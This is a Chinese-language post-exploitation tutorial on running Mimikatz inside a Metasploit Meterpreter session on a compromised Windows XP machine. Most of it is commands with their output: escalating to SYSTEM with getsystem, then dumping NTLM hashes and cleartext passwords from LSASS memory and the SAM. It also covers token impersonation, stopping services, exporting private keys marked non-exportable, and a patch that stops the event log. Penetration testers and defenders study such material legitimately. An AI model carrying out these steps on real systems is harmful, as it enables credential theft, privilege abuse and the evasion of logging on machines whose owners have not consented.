Mimikatz是Benjamin Delpy(gentilkiwi)编写的出色的后开发工具。在最初的利用阶段之后,攻击者可能希望在计算机/网络上站稳脚跟。这样做通常需要一组补充工具。Mimikatz试图将攻击者想要执行的一些最有用的任务捆绑在一起。
幸运的是,Metasploit已决定将Mimikatz包含在meterpreter中,以便轻松访问其全部功能,而无需将任何文件上传到受感染主机的磁盘上。
注意: metasploit中的Mimikatz版本是v1.0,但是Benjamin Delpy已经在其网站上发布了v2.0作为独立软件包。这很重要,因为升级到v2.0后许多语法已更改。
载入MIMIKATZ
在获得一个Meterpreter Shell之后,我们需要确保我们的会话以SYSTEM级别的特权运行,以使Mimikatz正常运行。
meterpreter > getuid Server username: WINXP-E95CE571A1\Administrator meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Mimikatz支持32位和64位Windows体系结构。在将特权升级到SYSTEM之后,我们需要使用sysinfo命令来验证受感染机器的体系结构。这在64位计算机上将是相关的,因为我们可能已经折衷了64位体系结构上的32位进程。如果是这种情况,meterpreter将尝试将Mimikatz的32位版本加载到内存中,这将导致大多数功能无法使用。可以通过在加载Mimikatz之前查看正在运行的进程列表并迁移到64位进程来避免这种情况。
meterpreter > sysinfo Computer : WINXP-E95CE571A1 OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : en_US Meterpreter : x86/win32
由于这是一台32位计算机,因此我们可以继续将Mimikatz模块加载到内存中。
meterpreter > load mimikatz Loading extension mimikatz...success. meterpreter > help mimikatz Mimikatz Commands ================= Command Description ------- ----------- kerberos Attempt to retrieve kerberos creds livessp Attempt to retrieve livessp creds mimikatz_command Run a custom commannd msv Attempt to retrieve msv creds (hashes) ssp Attempt to retrieve ssp creds tspkg Attempt to retrieve tspkg creds wdigest Attempt to retrieve wdigest creds
Metasploit为我们提供了一些内置命令,这些命令展示了Mimikatz的最常用功能,直接从内存中转储哈希和清除文本凭据。但是,使用mimikatz_command选项可以完全访问Mimikatz中的所有功能。
meterpreter > mimikatz_command -f version mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02)
尽管有些不合常规,但我们可以通过尝试加载不存在的功能来获得可用模块的完整列表。
meterpreter > mimikatz_command -f fu:: Module : 'fu' introuvable Modules disponibles : - Standard crypto - Cryptographie et certificats hash - Hash system - Gestion système process - Manipulation des processus thread - Manipulation des threads service - Manipulation des services privilege - Manipulation des privilèges handle - Manipulation des handles impersonate - Manipulation tokens d'accès winmine - Manipulation du démineur minesweeper - Manipulation du démineur 7 nogpo - Anti-gpo et patchs divers samdump - Dump de SAM inject - Injecteur de librairies ts - Terminal Server divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module sekurlsa - Dump des sessions courantes par providers LSASS efs - Manipulations EFS
要查询这些模块的可用选项,我们可以使用以下语法。
meterpreter > mimikatz_command -f divers:: Module : 'divers' identifié, mais commande '' introuvable Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session secrets - Affiche les secrets utilisateur
从内存中读取哈希和密码
我们既可以使用内置的Metasploit命令,也可以使用本机的Mimikatz命令从受感染机器中提取哈希值和明文凭证。
内置Metasploit:
meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;56683 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO) meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;56683 NTLM 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword
本地Mimikatz:
meterpreter > mimikatz_command -f samdump::hashes Ordinateur : winxp-e95ce571a1 BootKey : 553d8c1349162121e2a5d3d0f571db7f Rid : 500 User : Administrator LM : NTLM : d6eec67681a3be111b5605849505628f Rid : 501 User : Guest LM : NTLM : Rid : 1000 User : HelpAssistant LM : 6165cd1a0ebc61e470475c82cd451e14 NTLM : Rid : 1002 User : SUPPORT_388945a0 LM : NTLM : 771ee1fce7225b28f8aec4a88aea9b6a meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
其他模组
下面是几个用法示例,以帮助您理解所使用的语法。
所述handle组件可以用于列表/杀过程和模拟用户令牌。
meterpreter > mimikatz_command -f handle:: Module : 'handle' identifié, mais commande '' introuvable Description du module : Manipulation des handles list - Affiche les handles du système (pour le moment juste les processus et tokens) processStop - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles tokenImpersonate - Essaye d'impersonaliser un token en utilisant d'autres handles nullAcl - Positionne une ACL null sur des Handles meterpreter > mimikatz_command -f handle::list ...snip... 760 lsass.exe -> 1004 Token NT AUTHORITY\NETWORK SERVICE 760 lsass.exe -> 1008 Process 704 winlogon.exe 760 lsass.exe -> 1052 Process 980 svchost.exe 760 lsass.exe -> 1072 Process 2664 fubar.exe 760 lsass.exe -> 1084 Token NT AUTHORITY\LOCAL SERVICE 760 lsass.exe -> 1096 Process 704 winlogon.exe 760 lsass.exe -> 1264 Process 1124 svchost.exe 760 lsass.exe -> 1272 Token NT AUTHORITY\ANONYMOUS LOGON 760 lsass.exe -> 1276 Process 1804 psia.exe 760 lsass.exe -> 1352 Process 480 jusched.exe 760 lsass.exe -> 1360 Process 2056 TPAutoConnSvc.exe 760 lsass.exe -> 1424 Token WINXP-E95CE571A1\Administrator ...snip...
该service模块可以让你列表,启动,停止和删除Windows服务。
meterpreter > mimikatz_command -f service:: Module : 'service' identifié, mais commande '' introuvable Description du module : Manipulation des services list - Liste les services et pilotes start - Démarre un service ou pilote stop - Arrête un service ou pilote remove - Supprime un service ou pilote mimikatz - Installe et/ou démarre le pilote mimikatz meterpreter > mimikatz_command -f service::list ...snip... WIN32_SHARE_PROCESS STOPPED RemoteRegistry Remote Registry KERNEL_DRIVER RUNNING RFCOMM Bluetooth Device (RFCOMM Protocol TDI) WIN32_OWN_PROCESS STOPPED RpcLocator Remote Procedure Call (RPC) Locator 980 WIN32_OWN_PROCESS RUNNING RpcSs Remote Procedure Call (RPC) WIN32_OWN_PROCESS STOPPED RSVP QoS RSVP 760 WIN32_SHARE_PROCESS RUNNING SamSs Security Accounts Manager WIN32_SHARE_PROCESS STOPPED SCardSvr Smart Card 1124 WIN32_SHARE_PROCESS RUNNING Schedule Task Scheduler KERNEL_DRIVER STOPPED Secdrv Secdrv 1124 INTERACTIVE_PROCESS WIN32_SHARE_PROCESS RUNNING seclogon Secondary Logon 1804 WIN32_OWN_PROCESS RUNNING Secunia PSI Agent Secunia PSI Agent 3460 WIN32_OWN_PROCESS RUNNING Secunia Update Agent Secunia Update Agent ...snip...
该crypto模块,可以让你列表和导出可存储在被感染机器上的任何证书及其相应的私钥。即使将它们标记为不可导出,这也是可能的。
meterpreter > mimikatz_command -f crypto:: Module : 'crypto' identifié, mais commande '' introuvable Description du module : Cryptographie et certificats listProviders - Liste les providers installés) listStores - Liste les magasins système listCertificates - Liste les certificats listKeys - Liste les conteneurs de clés exportCertificates - Exporte les certificats exportKeys - Exporte les clés patchcng - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable patchcapi - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable meterpreter > mimikatz_command -f crypto::listProviders Providers CryptoAPI : Gemplus GemSAFE Card CSP v1.0 Infineon SICRYPT Base Smart Card CSP Microsoft Base Cryptographic Provider v1.0 Microsoft Base DSS and Diffie-Hellman Cryptographic Provider Microsoft Base DSS Cryptographic Provider Microsoft Base Smart Card Crypto Provider Microsoft DH SChannel Cryptographic Provider Microsoft Enhanced Cryptographic Provider v1.0 Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) Microsoft RSA SChannel Cryptographic Provider Microsoft Strong Cryptographic Provider
再也不会被扫雷虐了!
Mimikatz还包含许多新颖功能。我们最喜欢的模块之一是可以从内存中直接读取经典Windows Minesweeper游戏中地雷的位置!
meterpreter > mimikatz_command -f winmine::infos Mines : 99 Dimension : 16 lignes x 30 colonnes Champ : . . . . . . * . * 1 1 * 1 1 * . . . . . . * . * . . * . . . . . . 1 1 1 1 1 1 2 . * . * * . * * . . . * . . . . . * . 1 1 1 1 1 * . . . * . . * . . . . . . . . . * . * * 2 1 1 2 * . . . * * . . * . . . . * . . . * . . * . . . * 1 1 * . * . . . . . . . * . * . . . . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . . . . . . . . . . . . . * . . . . . * . . . . . * * . . . . . . . . * . * . . . . . * . * . . . . * . . . . * . . . . . . . . . . . * * . * . * . * . * * . * * * . . . . . . . . * . * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . . . . . . * * * 1 1 . . * * . . . * . . . . . . * . * . . * * * . 3 1 1 1 2 * 2 2 2 . * . . . . . . * . . . . . . . . . * 1 1 1 2 * . 1 1 1 . . . . * . * * * . . . . . . . . . . 1 1 * . . . 1 1 * . . . * . . . . . * . . . . . . . . 1 1 2 . . . * 1 1 1 1 1 * * . * . . . . * . . * . . . . . * . . . * . 1 1 . * . . . . . . . *